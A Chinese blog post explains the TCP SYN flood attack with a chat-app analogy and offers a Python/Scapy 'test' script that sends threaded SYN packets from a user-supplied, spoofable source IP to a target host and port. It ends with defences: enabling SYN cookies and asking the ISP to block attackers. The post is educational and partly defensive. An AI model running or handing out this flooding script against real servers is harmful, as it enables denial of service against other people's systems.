侧边栏壁纸
博主头像
落叶人生博主等级

走进秋风,寻找秋天的落叶

  • 累计撰写 130562 篇文章
  • 累计创建 28 个标签
  • 累计收到 9 条评论
标签搜索

目 录CONTENT

文章目录

syn flood

2023-11-21 星期二 / 0 评论 / 0 点赞 / 67 阅读 / 2546 字

在通过tcp协议,client端和server端建连的过程中,client端首先向服务端发送一个flag为syn的tcp包。好比大家通过qq聊天时先问,美女在不?妹子收到这个包之后就会恢复,我在的,你

        在通过tcp协议,client端和server端建连的过程中,client端首先向服务端发送一个flag为syn的tcp包。好比大家通过qq聊天时先问,美女在不?妹子收到这个包之后就会恢复,我在的,你在不在?也就是一个ack+syn包。这个时候,如果我们不回妹子,妹子就会很郁闷,过会妹子又会问,我在的,你在不在?也就是再发一个ack+syn包,若果我们继续不回,过段时间之后,妹子就会关掉这个聊天窗口,对于服务器来说,服务器会回收掉这个socket。如果有妹子的好多好友突然疯狂的发送,美女在不在,当这样的包太多的时候,就会干扰妹子正常的qq聊天,如果妹子的电脑性能不佳,妹子就不得不关闭qq或者是关机了。

        对服务器而言,维护这样一种syn-received的链接状态,需要耗费一定的内存和cpu资源。当这种连接数数以万计或者更多的时候,服务器不得不花费大量的资源来处理这些资源,有时候在服务器上执行netstat都会卡死,用ss -s的话很快。

测试代码:

#!/usr/bin/pythonfrom random import randintfrom scapy.all import *import threadingclass Settings(object):    def __init__(self):        self.src_addr=raw_input("enter src ip address:").strip()        self.dst_addr=raw_input("enter dst ip address:").strip()        self.dport=int(raw_input("enter dst port:"))        self.tcp_flags='S'class Packet(object):    def __init__(self,setting):        self.setting=setting        self.packet=(IP(src=self.setting.src_addr,dst=self.setting.dst_addr)/TCP(sport=randint(20000,50000),dport=self.setting.dport,flags=self.setting.tcp_flags))def fire(bullets):    threads=[]    for packet in bullets:        threads.append(threading.Thread(target=sr1,args=(packet.packet),kwargs={'verbose':1,'timeout':5}))    for thread in threads:        thread.start()    for thread in threads:        thread.join()    print "Done"def main():    setting=Settings()    nums=int(raw_input("enter num of threads:"))    bullets=[Packet(setting) for i in range(nums)]    fire(bullets)main()

syn-flood的防御方法(自己只知道这么多.....):

(1)开启syncookie

在/etc/sysctl.conf配置文件中添加:net.ipv4.tcp_syncookies = 1,然后执行sysctl -p

(2)联系ISP对攻击IP进行封杀

广告 广告

评论区